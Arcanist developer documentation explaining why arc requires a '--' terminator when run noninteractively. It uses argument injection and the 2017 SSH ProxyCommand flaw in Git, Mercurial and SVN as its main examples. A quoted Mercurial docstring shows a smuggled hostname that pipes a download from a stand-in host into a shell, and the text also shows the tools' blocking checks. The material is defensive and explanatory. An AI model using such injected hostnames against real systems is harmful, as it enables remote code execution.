What does Arcanist require?

After early 2020, Arcanist requires -- to be provided in all argument lists if run noninteractively (that is, if it determines that stdin is not a TTY). In most cases, "noninteractively" means you are running arc from some other script or program or automated process, rather than running it directly by typing commands. The intent (and, in most cases, the actual behavior) of this change is to impact use of arc as a subprocess for scripting and automation without impacting use of arc with human fingers.

For example, if you run arc diff from a noninteractive context, the command will fail and tell you to provide a terminator: you should run arc diff -- instead.

The error message looks like this:

$ echo | arc help
 USAGE  "arc" is being run noninteractively, but the argument list is missing "--" to indicate end of flags.
 USAGE  When running noninteractively, you MUST provide "--" to all commands (even if they take no arguments).
 USAGE  Learn More: <https://phurl.io/u/noninteractive>
 USAGE EXCEPTION  Missing required "--" in argument list.

The link in the error message points to this document.

Quick Reference

The -- argument separates flag arguments (flag arguments look like --flag) from non-flag arguments, and prevents non-flag arguments that look like flags from being parsed as flags. Most linux commands support the use of -- in this way.

For example, --draft is a valid branch name in Mercurial and also a valid flag to arc diff, so the command arc diff --draft might mean "send the default set of changes for review, in draft mode" or might mean "send the set of changes since the '--draft' branch for review, in normal mode". The use of -- disambiguates these two cases:

arc diff --draft      # Ambiguous: is "--draft" a command-line flag or a branch name?
arc diff --draft --   # Unambiguous: "--draft" is a flag.
arc diff -- --draft   # Unambiguous: "--draft" is a branch name.

To add -- to an Arcanist command:

• Add -- after all flags but before all non-flag arguments.
• If the command has no non-flag arguments, add -- at the end of the command.

What problem does this prevent?

This goal of this requirement is to make it more difficult to write fragile scripts on top of Arcanist toolsets which may break, possibly unsafely, on unusual inputs.

For example, if you write a script like this to arc weld all files in the current directory together (this is just a silly example):

#!/bin/bash

find . -type f | xargs arc weld

...it will fail, perhaps unpredictably and perhaps unsafely, if there is a file in the current directory named --abracadabra, or any other name beginning with --, because the command will expand like this:

arc weld --abracadabra README.txt

...and --abracadabra will be interpreted as a flag which does not exist.

A more robust (but still fragile) way to write this script is (adding -- after weld):

#!/bin/bash

find . -type f | xargs arc weld --

The addition of -- marks the end of flags to arc weld, so filenames beginning with -- will no longer be interpreted specially. Instead, the command will expand like this:

arc weld -- --abracadabra README.txt

...and --abracadabra will be interpreted correctly as a file path, not a flag.

In some cases, attackers can exploit this problem by creating a file named --delete-everything that invokes dangerous behavior from the command being executed.

Note that the second script is still fragile. Three cases where it will fail: it will fail when it encounters files with spaces in them (you can fix this with find -print0 and xargs -0); it will fail if the length of the argument list exceeds the maximum command length (you may be able to work around this with xargs -n); and it will not propagate error codes in find through the pipe (see T6996). It is generally very difficult to write code in bash which behaves correctly for all inputs. See also Command Line Exit Codes.

Why is this important?

In 2017, Git, Mercurial, and SVN were all vulnerable to an issue where attackers who could choose a hostname to try to clone from could select a hostname in the form ssh://-oProxyCommand=curl .../ and make Git, Mercurial, and SVN download and execute arbitrary code as a side effect of running a command like clone or update. See T12961 for more detailed discussion. The root cause of this issue was improper handling of SSH argument termination in each VCS, which internally expanded this hostname into a command line like this:

ssh -flag1 -flag2 -oProxyCommand=...

The host name was the interpreted as a command flag. The command they should have executed was (note addition of --):

ssh -flag1 -flag2 -- -oProxyCommand=...

...which would have interpreted -oProxyCommand=... as a hostname and failed properly.

Phabricator was also vulnerable to this issue, even though it passed -- to ssh correctly: for example, Mercurial can be configured so that hg update runs git clone on a submodule and passes it an arbitrary attacker-controlled URI.

None of the vulnerable programs fixed this issue by actually adding --, at least in all cases (Subversion did update an unsafe default value). One issue is that this would break SSH on Windows in some setups, where ssh is sometimes a binary which does not support -- and can not ever be passed -oProxyCommand=... safely as a hostname. Broadly, just adding -- would also have broken a lot of existing users and configurations, as all three systems rely on somewhat fragile configuration or environmental flags to control the behavior of the underlying ssh command. So the decision is a defensible one, but it means that Phabricator, Git, Mercurial, and Subversion now all have code to test if a hostname begins with - and reject it. If you write code on top of Git, Mercurial or Subversion that might ever run with a binary from before 2017, you must know that this set of magical hostnames are unsafe or your code is likely vulnerable. If there is ever another similar issue, the whole stack of programs will need to update their arbitrary, hard-coded definitions of "dangerous hostnames", and all versions from before the update will be vulnerable.

Here is example output (and the underlying code snippets driving the behavior) of git, hg, and svn all testing if you're trying to clone from ssh://-o... and failing with a special-cased error message that was added just to deal with this vulnerability, because none of these programs can safely pass a hostname to ssh without ambiguity.

$ git clone ssh://-oProxyCommand=curl/
Cloning into '-oProxyCommand=curl'...
fatal: strange hostname '-oProxyCommand=curl' blocked

	if (looks_like_command_line_option(host))
		die(_("strange hostname '%s' blocked"), host);

$ hg clone ssh://-oProxyCommand=curl/
abort: potentially unsafe url: 'ssh://-oProxyCommand=curl/'

def checksafessh(path):
    """check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    """
    path = urlreq.unquote(path)
    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
        raise error.Abort(_('potentially unsafe url: %r') %

$ svn checkout svn+ssh://-oProxyCommand=curl/
svn: E170013: Unable to connect to a repository at URL 'svn+ssh://-oproxycommand=curl'
svn: E125002: Invalid host '-oproxycommand=curl'

/* A simple whitelist to ensure the following are valid:
...
 * with an extra restriction that a leading '-' is invalid.
 */
static svn_boolean_t
is_valid_hostinfo(const char *hostinfo)

In this case, mishandling of -- had particularly severe consequences. Although many other cases do not have severe consequences, mishandling of -- is very common, so it's not a surprise that you can occasionally find an exploitable needle in a haystack of broken behavior. For example:

• Can you write a command which uses echo to echo only the string -e? Start by trying echo -e and echo -- -e.
• In Mercurial, prior to 2017, if --config or --debugger appeared in any position in the argument list (even after a -- argument termination marker), they were unsafe. See T13012. Phabricator may run against older versions of Mercurial, so it still has code which rejects hg commands if they contain a flag matching these patterns.
• Many git commands don't support -- at all, especially in older versions of Git, making it impossible to pass all inputs to them unambiguously.
• Although the semantics of git rev-parse are unusual, I can't figure out how to invoke git rev-parse using a flag added in a newer version of Git and get the expected result (immediate failure with an "unknown flag" error).
• Git LFS failed if run in a working directory with a file named master until I fixed it.

Phabricator has gotten this wrong too, even though I'm especially aware of it. For example, D18769 adds a previously omitted -- argument to DiffusionSearchQueryConduitAPIMethod.php.

Why make this change?

This state of the world is ridiculous: programs should be able to accept all possible inputs safely and unambiguously. This is a thing computers are supposed to be able to do. Multiple major VCS programs shouldn't have a command injection vulnerability if an attacker provides a funny-looking hostname. Software should basically work reliably.

However, the default behavior of command-line argument parsing means that it's very easy to write a program which appears to be correct and works correctly for a wide range of inputs, but fails (sometimes disastrously) for a small range of slightly unusual inputs. It's so easy to get wrong that git gets it wrong, and echo doesn't even imagine a world where -e should be a valid thing to want to echo.

I like this framing of API design quality from Rusty Russel (2008) as a tool for thinking about concerns here:

• 10 Levels of Negative API Design
• 10 Levels of Positive API Design

These short articles talk about twenty levels of API design:

-10. It's impossible to get right.
-9. The compiler/linker won't let you get it right.
-8. The compiler will warn if you get it right.
-7. The obvious use is wrong.
-6. The name tells you how not to use it.
-5. Do it right and it will sometimes break at runtime.
-4. Follow common convention and you'll get it wrong.
-3. Read the documentation and you'll get it wrong.
-2. Read the implementation and you'll get it wrong.
-1. Read the mailing list thread and you'll get it wrong.
+1. Read the correct mailing list thread and you'll get it right.
+2. Read the implementation and you'll get it right.
+3. Read the documentation and you'll get it right.
+4. Follow common convention and you'll get it right.
+5. Do it right or it will always break at runtime.
+6. The name tells you how to use it.
+7. The obvious use is (probably) the correct one.
+8. The compiler will warn if you get it wrong.
+9. The compiler/linker won't let you get it wrong.
+10. It's impossible to get wrong.

The exact levels aren't particularly important: for example, the 8/9 levels depend on having a compiler/linker/static analysis step. But we can use this general framework and think about APIs as existing somewhere on a continuum between -10: Impossible to get right and +10: Impossible to get wrong. I think this is particularly important when trying to design or assess a safe API (an API which makes it difficult to implement a dangerous program).

Linux command-line argument parsing is (almost always) possible to get right so it isn't a -10, but the obvious use (omitting --) is wrong -- at least when commands are used non-interactively as an API, which leaves us in the realm of -7: the obvious use is wrong. Viewed through this lens, it isn't surprising that an API where the obvious use is wrong leads to many instances of misuse across so many programs.

(Windows argument parsing with cmd.exe is frequently impossible to get right, and is actually a -10.)

Arcanist's new behavior of throwing when -- is omitted raises this API to the realm of +5: do it right or it will always break at runtime. My claim is that this general schema of API levels is a reasonable model for API safety (even if we might debate about what the individual levels mean) and that this jump from -7 to +5 represents an enormous improvement in safety.

I don't see a plausible way to do better than this without rewriting the shell. I also haven't imposed this requirement on interactive use. Interactive use is less generally less perilous (the input is usually coming from an actual human and usually trusted) and no one is realistically going to type arc diff -- with their actual human fingers in the name of safety, even when I gesture emphatically at how many API design levels they're jumping.

Errata

What about interactive use where STDIN is piped from another program, like echo ... | arc call-conduit or similar?

I don't know how to distinguish between these cases and genuine noninteractive cases, so they get caught by the "--" rule.

I'm open to changing this if anyone has a way to unambiguously detect these cases.

What about spelling correction? Isn't that dangerous, too?

As implemented by Arcanist, I believe spelling correction is generally very conservative and not dangerous, but it is philosophically inconsistent. Alongside this change, Arcanist no longer corrects command or flag spelling when run non-interactively.

This wasn't required on my computer, but was required on a different computer. Both computers have the same version of Arcanist. Why?

Detection of a non-interactive environment relies on the PHP posix extension. If the extension isn't available, we fall back to assuming the environment is interactive.

I'm open to changing this if anyone has a way to more reliably/portably detect the presence of TTYs from Arcanist at runtime.

Should I be writing scripts on top of Arcanist in the first place?

For a long time, the answer was: no, probably not. However, with the advent of toolsets and workflows like arc unit --target, this position is less realistic. In many cases, this still probably isn't the most robust way to solve problems.